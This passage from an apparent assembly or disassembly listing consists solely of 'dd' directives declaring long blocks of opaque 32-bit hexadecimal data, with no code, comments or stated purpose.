		dd 57A3B2F5h, 647C7DA8h, 882C895Fh, 0ED4CD68Ch,	0C6660F65h
		dd 26FE80C1h, 0A0649239h, 27D00BBFh, 4C90D6A5h,	0FC4C2027h
		dd 0BD017984h, 8ACDB8EEh, 0B820F3F7h, 2427F638h, 88947AAFh
		dd 448918C6h, 2ECC3103h, 48F54210h, 0FE5FC601h,	0B86CCF76h
		dd 81B39843h, 74349311h, 0D9B03A9Fh, 0B28B1F9h,	3410F998h
		dd 0FF1F5879h, 81042B6Eh, 8CF4FDBFh, 0A94F8443h, 7B1D428h
		dd 1EF885C3h, 8807C521h, 452E2778h, 936330AEh, 0CCB12C1Ch
		dd 90151248h, 0FABCD370h, 0D5A56000h, 0C47F76DCh, 58E7088h
		dd 33B9C5CBh, 21408981h, 2C480290h, 5100A8C4h, 30680B09h
		dd 3D678Ch, 0C585D04h, 0F2A037A9h, 18B48900h, 9A5A6835h
		dd 0AB5517F9h, 0FFE40426h, 4E58C8AAh, 38794D88h, 728574BFh
		dd 25F5A8D3h, 0F3A882A8h, 4820532Eh, 1CEEC71h, 0A4E4CD9Bh
		dd 6284C911h, 20C70020h, 6B0127F0h, 0DCFD54E3h,	0F1B58826h
		dd 0C5B71B01h, 0D4663D8Bh, 22E3CC0h, 9451A905h,	0B8A07F4Bh
		dd 5CC077EDh, 0B0010C98h, 68709930h, 0E430C9EAh, 47B945A6h
		dd 69B8C08Ch, 800F659h,	32F3F4FEh, 117BB4h, 977043CAh
		dd 8B48A198h, 3D80AA00h, 646A1431h, 2C7394h, 0B16D65AFh
		dd 0DA583422h, 0CE6FF700h, 1452A298h, 73B23D3Eh, 0D250B780h
		dd 0FD59B7Eh, 0C203C003h, 8D7DC72Ah, 0B0954488h, 0AA1107F4h
		dd 625451h, 0F43F5B45h,	3CA31424h, 4098C942h, 42993FFh
		dd 4C21CA3Bh, 7858C0E8h, 0EC007CD7h, 7F6C48C9h,	525313h
		dd 0FBD8A428h, 0C3985116h, 3D588E18h, 1F1CF378h, 4CC68Dh
		dd 12B6F9FBh, 0C3FFDA8h, 4D7196BDh, 0A0BBAC32h,	0CFF0C798h
		dd 548B2564h, 690812E1h, 452278h, 38D94B2Dh, 3A1FB211h
		dd 1F20B48h, 1AC9544Ch,	1023C5A9h, 441C372Ch, 0E8E2C4h
		dd 907221ACh, 872DE5h, 0C3FB5582h, 0F99E9291h, 9D4CB5Ch
		dd 46263473h, 5D042ACh,	0CAF4DF44h, 48D80850h, 800538FAh
		dd 1D97403Ch, 0A6085Ch,	2B849E9h, 7533F1E1h, 984DBA00h
		dd 0E2793571h, 0CB310203h
		dd 9EB8CEB9h, 63F05361h, 0F91122BCh, 1298C4EAh,	8488FF73h
		dd 1450F2C8h, 2FB063Fh,	928F6EDBh, 602858D2h, 665A3915h
		dd 0EF008984h, 8C9891BCh, 0F0391743h, 0C0CF7BF4h, 2B65B369h
		dd 6737B895h, 0A0C07163h, 5CBFB4A6h, 0F825F13Eh, 91EC8410h
		dd 189B7A02h, 810E7C9Ch, 0F55ABC08h, 647061C5h,	0D652122Dh
		dd 0BC4099Eh, 0F3A31CA3h, 0F7B74900h, 27E81918h, 0C9BC0091h
		dd 8199AE33h, 0E72D5045h, 0C7FCA040h, 43F011Dh,	0F0FA5893h
		dd 20108494h, 0B043CB8Ch, 2C2CC9DEh, 0E7944F03h, 0E6118AEEh
		dd 26CA7F20h, 330DA2h, 255308E3h, 0F000E469h, 0B4CB8393h
		dd 0E6397063h, 10294C8Bh, 36263304h, 2574D707h,	4A8C404Bh
		dd 2B65C45h, 0EB28B070h, 5608ACEEh, 11E08DEAh, 0C0EC4C55h
		dd 268EED89h, 15DFE56h,	490EAFA8h, 2D676BE4h, 6CCC1414h
		dd 0B92603F3h, 185E7B7Dh, 51252C19h, 0AC00167Eh, 0CAD15D9Fh
		dd 11C1B1Ah, 0BAB88154h, 0C422FD3Fh, 738058B9h,	12FF0050h
		dd 4D2E319Eh, 277E8E3Dh, 6396D8F5h, 0C02ABA13h,	0A9880030h
		dd 0C77B06h, 2C762411h,	0C465E82Fh, 7F1460F5h, 7D141002h
		dd 7B13477Eh, 6C800048h, 0E560962Bh, 0E1FB2Dh, 0F39838DCh
		dd 0E8920006h, 6140DA07h, 36393ACCh, 622B8151h,	29C4A2ABh
		dd 93087040h, 18B3007Dh, 80C25763h, 0A207BFFDh,	0C4812D77h
		dd 36C9A361h, 30000C37h, 74C0F21Ch, 1000EE0Dh, 608BFD36h
		dd 3905B5D7h, 0FBF53EEFh, 44F523D0h, 0CE78F109h, 9F00D4A5h
		dd 9091D2EEh, 608700BEh, 88082710h, 0D73EFE2h, 0C8F40438h
		dd 0A43FEDh, 0B7123AC4h, 5CC5CA13h, 8C800429h, 0F08634FEh
		dd 0C90A0E7Dh, 0F43A3B31h, 5A49B442h, 0E7F50974h, 94C1C762h
		dd 0E3402020h, 733A2D43h, 0B000C440h, 0F512CA59h, 0E948B1h
		dd 9468B864h, 0F45063Ah, 0D8589D07h, 0EA77B3F9h, 3B9E6EA0h
		dd 0D98F0E16h, 5522B1C9h, 0C408847h, 2FF44C03h,	107D9617h
		dd 0CEB34420h, 0B50B30A8h, 0DD980C88h, 7234F920h, 0B1F180C7h
		dd 44B349Eh, 2F225C04h,	432A1520h, 9C470B8Dh, 4500A5C7h
		dd 0A6817EBDh, 0C8003398h, 7CC5A2D9h, 0B8E635ADh, 4D702228h
		dd 5BB39512h, 0E066FC09h, 44A2B874h, 5771E8F2h,	8D51D20Fh
		dd 16D760FEh, 4AD670Ch,	3B3A4FFFh, 7F408031h, 9FF23809h
		dd 2AD6B603h, 3ED1D0F5h, 5CDB26A1h, 0D0A1AD4Ch,	0FC28E677h
		dd 54070D40h, 9810DED6h, 30A13D35h, 7B00D068h, 0C2610725h
		dd 9D141856h, 24080D7Ch, 7026DCBCh, 3216D270h, 91191540h
		dd 5C3C7018h, 0DC21F0E8h, 0D830A617h, 82A123h, 0E8314BBFh
		dd 326CF606h, 1C747203h, 9DF4D3C7h, 94B3C0C8h, 46864008h
		dd 0E374A47Eh, 28E0B832h, 0B450242Ah, 0F0078428h, 7ACDCA58h
		dd 0B09604C3h, 0FDB65FCFh, 0A0002072h, 7CBB8B0h, 405EF39Bh
		dd 2B57B604h, 3EA6DC88h, 0A1002A13h, 0EB6DDCB8h, 0AB00181Fh
		dd 0CC80C509h, 95145A82h, 35DDA423h, 0F158AFE8h, 48275000h
		dd 4CEF6D90h, 145E1D34h, 3F3BC0ABh, 0DD715435h,	52819802h
		dd 9134299Fh, 286901E0h, 1FC92C02h, 0B445C896h,	0B651B200h
		dd 0BFF8079h, 4B969C6Eh, 69B174C8h, 933AD300h, 73C106A7h
		dd 0B51038A9h, 8D0E2C3Dh, 16E07BD2h, 8BCFF2A3h,	0F4373CA0h
		dd 98AD0CB9h, 2B19C88h,	766C9B4Eh, 3CC4A203h, 0AE52360Eh
		dd 0FA0A235Ah, 0BCC085E0h, 7559A193h, 34B20007h, 0B5453B83h
		dd 0DB1257BBh, 0C02CB89Ch, 0CF2F84B7h, 8C1629h,	0DBDD66B4h
		dd 735BC25Dh, 9223D73Ah, 0B0C84E51h, 0DC74B2h, 27D80BB6h
		dd 551D9F61h, 0BBC0C13Fh, 0DB1201DEh, 40CD629Eh, 4FFFB460h
		dd 980828F9h, 31EBD00h,	849F5F23h, 0C0F40CABh, 18211FF7h
		dd 8173D11Dh, 0CCF570C4h, 0AC608CC9h, 382788FFh, 4420B74Fh
		dd 904F23h, 0C8D7A55h, 0BFB0DBD0h, 724633Eh, 0A2989A1Dh
		dd 0F0DCE3C3h, 179BCEEEh, 0C8C85E43h, 63007070h, 0B882817Bh
		dd 0B268AE22h, 5C7A9884h, 0D3806011h, 175AC71Eh, 0A0396060h
		dd 0B967ABh, 65B87ACAh,	0B3775280h, 0EAF9DF00h,	66F1E45Bh
		dd 8A910AACh, 80EC0CA3h, 0D174493Fh, 620035B1h,	10479C9Eh
		dd 58653F9h, 0E76A8DF7h, 59A8C344h, 0BD437F0h, 0B21AB8C0h
		dd 1FEE59Dh, 0D00127A6h, 62F69862h, 0B84CC4h, 0E24A3A6Dh
		dd 4BFDA3B8h, 4D548239h, 5BF90920h, 2551F836h, 0C1276D5h
		dd 0ED317C49h, 0FBBC4201h, 0D0642Bh, 703BD1AEh,	7D0FF32Ch
		dd 0B00D7200h, 0C20176E4h, 6632B842h, 91F578B7h, 0F3F72100h
		dd 0F4B9C7E7h, 0A69324BDh, 1FCC96FCh, 34C89520h, 5F9097C0h
		dd 3D001532h, 52D67540h, 54F2D3h, 561496A0h, 0BACB4F4Dh
		dd 4C6CA448h, 395B2124h, 895FB944h, 0A30156FCh,	8D7D6C1Ch
		dd 9AFD4028h, 7B0492B0h, 0CA153399h, 37C65081h,	23FE2611h
		dd 2D0215Ch, 56830716h,	0E8C63842h, 0AE502C0Eh,	5FB1019Bh
		dd 0B02FC7FEh, 4C926C76h, 0CD74949Ah, 484C384Ch, 1158C830h
		dd 1B9B0048h, 0ACC79F6Ch, 9054E77h, 597B94h, 9254E60h
		dd 8C1D00FBh, 1B19BF8Bh, 0E518175Dh, 0A3180AA2h, 20B0E522h
		dd 2713F411h, 0FCA6E222h, 415F0031h, 19B7DDC0h,	0FE638A9Dh
		dd 0A8D4CA31h, 0CF51CA0h, 4BC6AAA4h, 31006849h,	0A69C3B48h
		dd 98328Eh, 831ECD02h, 11B6F894h, 59A8BF01h, 0F9048FD2h
		dd 454D2840h, 7C6F1F3Bh, 19E61801h, 75FC1073h, 3BAB501h
		dd 6536C662h, 47D6880h,	7AB27BD4h, 7EE96E60h, 7120F169h
		dd 8B98003Dh, 2305F84Ah, 22003648h, 0EABBA841h,	1F48C04h
		dd 5EA66B84h, 8342D434h, 93D1EC40h, 50BAB4Eh, 7C5EAA51h
		dd 0B0544302h, 72F10D2Bh, 7E8058D2h, 5906A2F8h,	637A62E1h
		dd 0EFB30041h, 0B7A57C27h, 906ADF3h, 8B13423h, 1EDC0F20h
		dd 0E1605CF4h, 4C7EEB06h, 323B1403h, 0E8A876DDh, 337C519Fh
		dd 0C6DA3C8Bh, 0CCE36FE0h, 0DE3FC390h, 3D100353h, 0B8A22223h
		dd 20E672Dh, 6C59EC24h,	94908C18h, 7C00ACD6h, 9DB7D819h
		dd 2A5B5F3Bh, 3F49935h,	0C91E3F85h, 0CE83A5Eh, 4CE2C3ECh
		dd 80741DCh, 0DB30EFD9h, 7341B8C7h, 7D6900BCh, 3BF2222Bh
		dd 8D00B2E9h, 338C0190h, 249CF68Fh, 21264E1Fh, 66000A4h
		dd 7CF5D605h, 8273C0A1h, 98EC368Eh, 7B544816h, 0F231C05Ah
		dd 778A49C6h, 0FF871502h, 5728C4A2h, 21675060h,	0C8F552h
		dd 8BC01966h, 0F1A39F7h, 0EC916EB0h, 0F5D3C100h, 243C1FDBh
		dd 835C489Ch, 0F5F188F6h, 0EA102040h, 4880C10Bh, 33C03C02h
		dd 5150ABDBh, 0F7555703h, 0C8E1DA7Dh, 2A25D2F3h, 7FFC0C84h
		dd 6594A9C3h, 3BDE1DC0h, 288552D1h, 0F8B487D2h,	380415B0h
		dd 21CA00C8h, 39078BF3h, 0DA9C039Fh, 174D1952h,	5D66B1h
		dd 7C9898Ch, 0DEFFF250h, 80D4DA34h, 432445E2h, 0C700A227h
		dd 73A9AA3Ch, 12B661A4h, 218DA0h, 0F5EB44F0h, 0F4008308h
		dd 778416C6h, 142B0650h, 0EC7959EDh, 599F3486h,	0D23EE900h
		dd 0FCB5A250h, 65FA2886h, 23D1019Fh, 0E39BF1F2h, 5B8C51E2h
		dd 2C64EE4Eh, 37E8000h,	285E5C07h, 0EC081ECFh, 490C1299h
		dd 0F400AEA8h, 775BB458h, 0A54C4900h, 57A4C5E4h, 0AC030045h
		dd 0DE9B702Fh, 60C01EA6h, 0E4D4E5Eh, 0A95060C5h, 862BF9FCh
		dd 8D343100h, 569B7D19h, 1B70644h, 406F3211h, 0C6A1D363h
		dd 0B4390051h, 6F4F1A6Bh, 6A004931h, 0AAAFC892h, 1859D261h
		dd 28A7557Dh, 530CCF24h, 102397ECh, 458F011Eh, 0F224E3Eh
		dd 115881FAh, 0D1048B5Eh
		dd 28EA40CCh, 29346159h, 0A4A434h, 403C69BDh, 7C189E23h
		dd 0E758B2CEh, 5A038009h, 391A6230h, 7554Eh, 0F2FDDF44h
		dd 59EB615Eh, 8B627772h, 0A3742121h, 1EA01B4h, 96B053E1h
		dd 0C0CC9BD2h, 100019FEh, 134286BEh, 3C68C2Ch, 3222804Ah
		dd 6AC19B7Ch, 77DC5019h, 1648147h, 8888DD18h, 86103EFh
		dd 8D55795Ah, 0E298D122h, 5076002Eh, 1C25B87Dh,	0A1150968h
		dd 5F0194Eh, 79C50D8Ch,	27D1891h, 66DCBE4h, 34EBDA05h
		dd 0C61D499Bh, 7BF2C7Fh, 173943Ah, 1FC1B180h, 0DF2930ACh
		dd 0FABA1EF1h, 9C215B0Fh, 0EC1471E4h, 9D86B0CEh, 36F879D7h
		dd 0DE9C2B0Ch, 54C6E11Ah, 0F8AC4Dh, 62E3DD5Fh, 9A5189D5h
		dd 0DC2F2C0Fh, 0D3ED40B3h, 8456204Eh, 427E444h,	0BD3F94F8h
		dd 259C8490h, 409C5390h, 0F6997358h, 9C010182h,	9DE78428h
		dd 64600464h, 0F61F4045h, 5A599816h, 38A0CF09h,	1C4A2710h
		dd 8124EA26h, 0FC55D082h, 1243018h, 42003C99h, 6D48B440h
		dd 0ABD10033h, 3E9ED22Dh, 0CCB1D97Eh, 0C1647B0Ch, 0EADE006Ch
		dd 9D60BDCCh, 2E7367D4h, 66997100h, 56221A15h, 0D79B2C84h
		dd 112C6ADCh, 22DC4C3Fh, 0F77E0B55h, 0E1004638h, 0B2356471h
		dd 47F454B2h, 2EA63300h, 20BFD472h, 5F0EEB7h, 0DB90A556h
		dd 80A48412h, 9D5CCCDBh, 637C9600h, 0A3E0EAFCh,	59793084h
		dd 0B05DCB71h, 49246400h, 416972BFh, 68FC00BDh,	0B785964Fh
		dd 302204Ah, 3C027E7Fh,	9DD0C156h, 9F78F980h, 0B52FC230h
		dd 0B08DC61Dh, 977DBD00h, 6E9CEC48h, 3CFB1B4h, 0F05CF119h
		dd 0CD049339h, 6A243376h, 40D6C681h, 0AC8EFCh, 963B347Eh
		dd 0CC217F23h, 1AA2F700h, 222406B3h, 11FA6104h,	803ADC7Eh
		dd 64A48E29h, 741B940Ch, 5A8B3A63h, 38A41C2Ah, 3C802225h
		dd 7EB1C8A2h, 7A093F2Eh, 85B990B5h, 803165Fh, 483BFA21h
		dd 1A11AC29h, 0E7011B71h, 63DFA8C1h, 3FDD7A30h,	0D580C003h
		dd 0ACF955BAh, 0A2008C27h, 0AE892595h, 345A0229h, 82894478h
		dd 1256ED4h, 0E36B8820h, 1275A8h, 0E209AEFDh, 90DE5226h
		dd 82F3823Ch, 3CD6D25Ch, 98384278h, 1EEB244Ch, 0C0719218h
		dd 0B9C72230h, 0EC11A98Ah, 30EA2D5h, 2480899Bh,	0B6D2FC92h
		dd 400024AAh, 509B73C4h, 8EB42D00h, 7961A985h, 992C00C9h
		dd 38CEF01Dh, 0C6305F44h, 0B173C94Fh, 0EAC2EC72h, 0F742008Bh
		dd 2B1A82E6h, 7A1FD64Bh, 0F9829D1Ch, 0E1C92625h, 422E228h
		dd 36807E38h, 7CF351A0h, 0AA30E064h, 7D246048h,	744988Eh
		dd 43AC8702h, 0A7F3C00Bh, 0D0198C25h, 0CA284E6Ah, 467CC8DBh
		dd 26F8B0F2h, 6448D1ECh, 76826DFh, 0B5BA4CD9h, 21AE8001h
		dd 0DE16E3F2h, 0EC20619Ch, 0E19C68Bh, 81175525h, 4E846DAEh
		dd 12A8C80Ch, 7A480DE8h, 0BDB08098h, 0E4E540h, 8BEACAA4h
		dd 72C45FBFh, 0B3441105h, 0B4C1BBDFh, 5700FE6Eh, 915663h
		dd 172C2414h, 5C04F611h, 57021BF8h, 34224562h, 0AB98A1B0h
		dd 954054EBh, 922E11h, 703F78D3h, 179F3363h, 98EA4DF0h
		dd 7A5A620Ah, 3493FCA4h, 0D3004C24h, 1F87C499h,	0B6080579h
		dd 0C291F9C0h, 1320EEACh, 13349D3Fh, 6D6377h, 9B6B1959h
		dd 6800D1FDh, 20560EBh,	41C681h, 775E346Ah, 0ACE92721h
		dd 0B88C0407h, 0FC60451Ch, 75A35E8h, 0D8881783h, 0B5F9A37Ah
		dd 0E010C195h, 5B7180FDh, 9FA34B7Ch, 0ABF217C9h, 6F2C20C6h
		dd 3D008812h, 8E68A239h, 58224DF9h, 19164880h, 506030F5h
		dd 90022E23h, 0D7564B12h, 41EC94F1h, 0D6599389h, 0D44FD804h
		dd 0E25B8080h, 3F8F71EFh, 617F046Eh, 0D0EB607Ch, 0E09711A1h
		dd 0C63AE452h, 0A2E522ACh, 2B006884h, 5BA90183h, 0C939Ch
		dd 0D0BA38D1h, 72601550h, 50355E24h, 0EA30FC47h, 1C3E5C46h
		dd 42177764h, 0E0197C55h, 0CA08045Ah, 259502B5h, 63211087h
		dd 70015832h, 9D3907E1h, 28E5E2h, 0E4461A88h, 0E0FAD0h
		dd 5F37D312h, 5A731EF6h, 30526624h, 0B91A546h, 8A02494Bh
		dd 0DDDF3982h, 14FF44E1h, 2EA3F4C2h, 23B459C0h,	5D122E18h
		dd 5042D034h, 0A5E7E39Dh, 888A9C18h, 0C10DDF00h, 7E20D162h
		dd 66D33F00h, 0EC64C659h, 16B8A4D6h, 21605A94h,	2D184E7Ch
		dd 1E8980F8h, 96797DF2h, 953E8348h, 0F890252Ah,	0A107B586h
		dd 2F9C1837h, 5917C2F2h, 2CDF87ACh, 47A04EA6h, 1FFAB7Dh
		dd 0E878AC7Ch, 53283498h, 0D401A00Fh, 0CFEC3EA6h, 70450A9Ah
		dd 0DFA5C60h, 0FFC4A809h, 181B0039h, 0A8EE3565h, 6918E6ECh
		dd 8E31E004h, 5E823CFCh, 36C38A00h, 9C02165Ah, 2461B624h
		dd 9B631C82h, 5A102CB5h, 83FD5E02h, 926559E9h, 0DE3887D8h
		dd 87B8048h, 1EF3AC3Eh,	19E15332h, 920C4089h, 5E8A0078h
		dd 49BCB1E8h, 0A01BBA1h, 0F48BDB96h, 0E5F8FCF7h, 0AA88266Ch
		dd 0E43360E8h, 6F00656Dh, 23EF4A70h, 3EFFB925h,	6ABD4998h
		dd 0D092A3A0h, 2236002h, 4825B0AEh, 0EC7010h, 0A16FD06Bh
		dd 0C17FF932h, 820E0CFCh, 6F7D1402h, 0AAE7C41Ch, 514EC4C1h
		dd 0B029B431h, 20D6578Eh, 0F01A21D8h, 0F8548226h, 8B1D142Bh
		dd 0F4399D3Ah, 0F021B752h, 4C20177Dh, 0EC3DE81Eh, 0D0A65DD2h
		dd 96388BC0h, 82008479h, 0BBA4D7FAh, 0F85A74F7h, 51171FB9h
		dd 6C4005Dh, 9E3442FFh,	0DA6239C0h, 18792B6Ch, 0BE3D8FDBh
		dd 0E40576B0h, 99F07A45h, 22898C1Eh, 0C6EB1h, 8129A87Dh
		dd 194E2ED2h, 0BF6EA500h, 666B5CACh, 48830039h,	9830CD72h
		dd 9C9861BDh, 88B9D1Ah,	2FB4041h, 11EB6401h, 314AC02Fh
		dd 32720C04h, 0BCA8D607h, 8AD782D5h, 29E3B6h, 0D0D97BE4h
		dd 0B354E7E5h, 2099EC27h, 0D3C79D2Ch, 0BC60507Ch, 0AC8F0024h
		dd 3EA716CAh, 87058CE4h, 0F1DE5465h, 0A16980EEh, 19121786h
		dd 78008BEDh, 9675E0F4h, 5C908Eh, 6259A3Dh, 0E33CF6D4h
		dd 0E021833Fh, 584A7330h, 0C19DF092h, 79505310h, 28DEDD3Bh
		dd 478A807Ch, 2173F01h,	82D3E407h, 0C563F4BDh, 57F64F98h
		dd 0F30456E4h, 2CBA1DD0h, 2C60F0E0h, 38388A06h,	0F63478DCh
		dd 89808848h, 0E6C2C001h, 911C2D0Bh, 8015061h, 88429FD3h
		dd 805465D6h, 51977296h, 7F09DA05h, 825B87E8h, 7AC61CD0h
		dd 0FE71DCh, 0F1560EBAh, 0CE7C5CB3h, 99EB0304h,	160BDDh
		dd 625BB570h, 35092FACh, 2345DE9Ch, 53C66Ch, 7AEC4A49h
		dd 254988C9h, 0C442960Fh, 204E4344h, 1912782h, 9FA2F020h
		dd 10003D9Dh, 0D860CF36h, 0A8AA2CD3h, 68E354Ch,	0CEE34DA5h
		dd 61B09017h, 0C3B890D1h, 925A7761h, 34A848FAh,	0E49AB3h
		dd 6C79818h, 7C6EBC76h,	9E93943Bh, 0BAD74F21h, 87EA1848h
		dd 0F019E1D2h, 3BBEA128h, 5D94F62Eh, 0F40B41Dh,	0BF178B1Ah
		dd 40DC98E3h, 0F128218Ah, 7E0044D2h, 0C0446D33h, 18FCA185h
		dd 116CDB7Ch, 55007318h, 45B8F321h, 3D6539h, 195B1FB9h
		dd 4D3C71DEh, 610AF290h, 804EC6B1h, 8FFDB283h, 9E40AF55h
		dd 1665F15h, 9CAF99C5h,	63D1ECABh, 7AD20064h, 5E6B1FE8h
		dd 89873D9Dh, 20439818h, 0ACB39C1Eh, 0A523E70Eh, 6D8073A3h
		dd 0F37C59h, 2186F4E3h,	0EF331735h, 82F81B1Eh, 81C01E00h
		dd 2D5C0B71h, 88192225h, 70D1FA51h, 0EA12FE00h,	0D6467D59h
		dd 7A4088C1h, 8894BE01h, 0CC579A42h, 987BC4h, 0E811F3F9h
		dd 2D14DD45h, 0D1A0E433h, 0CC8BF7A3h, 45F70120h, 34CAB3F4h
		dd 8B8C2428h, 0B0439C26h, 0F9A18440h, 0EB44025Eh, 88227710h
		dd 50260C41h, 724C7D94h
		dd 0B9EBB0Ah, 1E408804h, 13BBF63h, 0ED2B0EF9h, 8B1F7C2Ah
		dd 68D6D4E8h, 1EDF2188h, 0A5D1C2h, 9056642Ah, 5A18956Ch
		dd 7D813F61h, 745B497Ah, 701F1Eh, 0DDC357AFh, 0ED0FA836h
		dd 0A094D627h, 0B51B6B08h, 0D304007Eh, 81020747h, 0A25B773Dh
		dd 13D03449h, 0A02DA02Ch, 28532472h, 7CFA1138h,	38B118FCh
		dd 0B018E469h, 0F15F4538h, 0CC39A07Ah, 0C072824h, 8BEDD788h
		dd 10109BECh, 39C0627Bh, 1440E280h, 374500C2h, 1C51D09Dh
		dd 5907A988h, 0EC58FAE3h, 1D52A4B4h, 5E0922F4h,	8337779Ah
		dd 4806FFD4h, 0E22E870h, 0C8801C91h, 26C1DDFCh,	0E0690370h
		dd 7E053F9Fh, 0EB08A1A0h, 41DF9831h, 0FF0A996h,	72B10636h
		dd 716179A2h, 98009D78h, 2181AA42h, 25C6AC68h, 0C308F23h
		dd 0B71F3CB8h, 0C596D76Bh, 0D30950D0h, 0E59070h, 922E8AAFh
		dd 1FC997C4h, 0A98B5500h, 0DAE3F633h, 22654B9Ch, 3504C2B0h
		dd 205AE054h, 6A8CA874h, 5603C600h, 312958E4h, 2C8F48A4h
		dd 0C8829E8Bh, 7B259DD5h, 0C54C6400h, 120D01Bh,	0B285ED89h
		dd 0C6223666h, 2E78FC90h, 2FDFA701h, 0FE3E839h,	4320A7D2h
		dd 0AC12A02Eh, 0E42E8104h, 5289A65h, 0A8C66166h, 0B290C8C3h
		dd 0C4001876h, 6F2E830Ch, 680021Fh, 5A31443Bh, 0FB047165h
		dd 0BB3C0185h, 0BF0054B2h, 0FFB8B72Ch, 0E212FE7Dh, 9891043Eh
		dd 0A420A6DEh, 8EA000ADh, 0D96BFDB9h, 40288280h, 0F100A474h
		dd 357EA8C7h, 3C9DEA4Fh, 0F380048Ch, 639C020Ah,	0E001F0D8h
		dd 0B36FD5C5h, 10693456h, 373E2D00h, 0F34F158Ch, 0D500AAE6h
		dd 366EAB29h, 89B2E9h, 8D2D8799h, 0F009F41Dh, 3DFDCD00h
		dd 317BA668h, 12D8EAB1h, 24E49B85h, 0D4A27Ch, 0BB9FA837h
		dd 0E06E52h, 11B9E638h,	8902FC1Ah, 1067C52Dh, 762D0430h
		dd 5FFA1D7Ah, 4AF1C0E6h, 0DB50E1F6h, 0AC3922FAh, 4013A67Bh
		dd 0CA63E08h, 58C9B734h, 636EC104h, 638105CFh, 0C03C870Eh
		dd 2059CEB1h, 789A67A0h, 6005A8ECh, 5D161804h, 56E5D48Dh
		dd 80587B01h, 0D638EDA1h, 1042C7h, 0E623BFCBh, 32315B57h
		dd 38E060E3h, 0E4E84E41h, 0D4341272h, 6138818Dh, 8B8897Fh
		dd 0EE4B8A0h, 0D9CB0088h, 9163BF0Ch, 0FF002351h, 5DB16CC9h
		dd 2A3ADB9h, 0DE9BFB2Fh, 0A05A4D79h, 589D9E44h,	139F18E2h
		dd 8DF022CFh, 1F7EA040h, 7D01FAFCh, 300CC604h, 0CEF4CB22h
		dd 5E8401B9h, 503CD71Eh, 2378319Ah, 630F7520h, 0C05BBDh
		dd 0EFED886Eh, 4A39FA09h, 28A831EBh, 0F968BB18h, 0DC7D2C12h
		dd 0CC23A490h, 6499CBF7h, 5BA46C00h, 1E180224h,	454154C5h
		dd 0AC3000B3h, 440E892Ah, 57407991h, 0F7F13C8Ch, 0D7FC7D00h
		dd 7484B80Bh, 0A0B28D00h, 0ED2616C1h, 0A4EE187Eh, 770D3160h
		dd 0E1A73102h, 0E45439F7h, 13CBE8F4h, 12B0AAD3h, 7924CC10h
		dd 244C4445h, 0BB9203C5h, 0E1301827h, 20B13800h, 5815E521h
		dd 63E00B8h, 7EF30953h,	3507E82Eh, 0E977BFE1h, 6F27A2C0h
		dd 24DDE807h, 7906286h,	30C788B8h, 4E55FDC2h, 30D2224Ah
		dd 2FDC9001h, 5C647D8Ah, 0AECB34C1h, 78423CE4h,	13177707h
		dd 94C4053h, 10C7EF2h, 211CB2B0h, 0A87C0574h, 0F41F4EF3h
		dd 0C34EAA40h, 0AF6C1040h, 0FE721214h, 910906ECh, 304F1323h
		dd 60A910EFh, 4CD7398h,	0FEC1783h, 0AA7880B5h, 0F0F27C02h
		dd 3A722A00h, 554E5B5Fh, 40109C0Eh, 0C2DE6013h,	0E697AF00h
		dd 74969E40h, 5CFCB01Ch, 0DF00E87Eh, 0F27C5CDDh, 260366B1h
		dd 0D45B111Ah, 8DCAC05Fh, 9B0B14Ah, 0D061B809h,	7D570078h
		dd 8C999555h, 68840D1h,	48288B5Dh, 0CD731C0Bh, 0C1004948h
		dd 0B3AB1AAEh, 8027C042h, 7C5BAA30h, 5D150118h,	7D5A6A62h
		dd 0D10C43h, 0B549A57Ah, 0ABB741F8h, 9C033005h,	18F021E0h
		dd 20CE5AEBh, 0BFBCB204h, 0F91A1601h, 6AA891Ch,	0F63360h
		dd 605BA99Bh, 8B6D3ECh,	1398B095h, 197F0379h, 44CE7860h
		dd 0E6E24DE0h, 0AD294304h, 7E20C9F3h, 8D00DD32h, 5BB4859h
		dd 0D2DCDA7Dh, 7210A111h, 0DB938014h, 988D8Eh, 9694F428h
		dd 0EA0B360Eh, 3B0958E8h, 185BE5FDh, 87BC80h, 0D381D27Dh
		dd 955D80AEh, 0AF3FC3FCh, 4DA38F79h, 9B964258h,	40CC56E3h
		dd 5BB8047Ch, 800C355Ch, 0C0694259h, 13B7626h, 517DD1DEh
		dd 0C466799Ch, 0AB7CC5A5h, 0C0F8F248h, 3646AA4Dh, 107105D8h
		dd 98C4FCh, 6C05C3A4h, 0B8693C6Ah, 0E85908h, 5B9F02A1h
		dd 50EBF236h, 0B611350Ch, 4E0CF609h, 2D6C181Eh,	909097E3h
		dd 49265F30h, 34C468C0h, 1300ACB9h, 0CD2C2EE1h,	1116951Bh
		dd 0F8495D21h, 4EB4C803h, 6E7D0016h, 2EE46C58h,	224C9F94h
		dd 269B1EBAh, 98394742h, 0F47A01h, 0EFFA9CAFh, 0AD0D6318h
		dd 1997FE01h, 4417CAD0h, 1677A820h, 0C8BF6C4Ah,	0C803A9CCh
		dd 0ABC4997Eh, 0D6804860h, 0CB21267Dh, 0DB7840B0h, 0E75CDFA6h
		dd 90A82560h, 0C2ED78h,	2FDD7256h, 0D599A1BEh, 7023AF8h
		dd 342D57D8h, 7ADA209Ah, 0FC021683h, 0FDE0958Eh, 0B910C6B3h
		dd 0EFAA8188h, 805C797Dh, 0D0339E11h, 1E0A82h, 895BDCD6h
		dd 74AF149Ah, 0F152A32Ch, 1B8CE305h, 788AB082h,	0DDEB20CCh
		dd 8EE07B4Ch, 59A06029h, 2E695F1Bh, 59D4B1C6h, 4CA80C16h
		dd 87018454h, 59F47E8Ah, 0AB9370B4h, 85D42A05h,	0EC20BA8Ch
		dd 5F5D659Ah, 2768BD64h, 5EE81039h, 2C280076h, 8963940Bh
		dd 4630C695h, 6425386Dh, 9C670BE0h, 0F0485F3Bh,	59C517C6h
		dd 0BCC04D93h, 9504355Eh, 13BE7CA0h, 4000E168h,	0F3C5B4A2h
		dd 12ADA146h, 0F0F62866h, 9A0FE720h, 0E94CD0h, 25F058C8h
		dd 0F48058EDh, 0E83BEC25h, 0E05FE3A0h, 0DFB5B000h, 59E541A3h
		dd 7B4F1889h, 10C6C955h, 0CC8E6100h, 93F70ABh, 24FE06Ch
		dd 9B9DF689h, 4C59568Bh, 5B7D9A11h, 215C30D5h, 0A9005EF6h
		dd 0DA7E444Ah, 3275D0Fh, 7D23A351h, 11771032h, 295F1E34h
		dd 0BCD758C5h, 439B16Ah, 357E9007h, 71B5C2FBh, 81E54C9h
		dd 0F6A80577h, 0F2092C34h, 542F0EF8h, 0C8D4C9BCh, 1CCB195Ch
		dd 1E4F8A5Eh, 0E2380F4h, 0E0619DD9h, 7204033Ch,	9B82790Fh
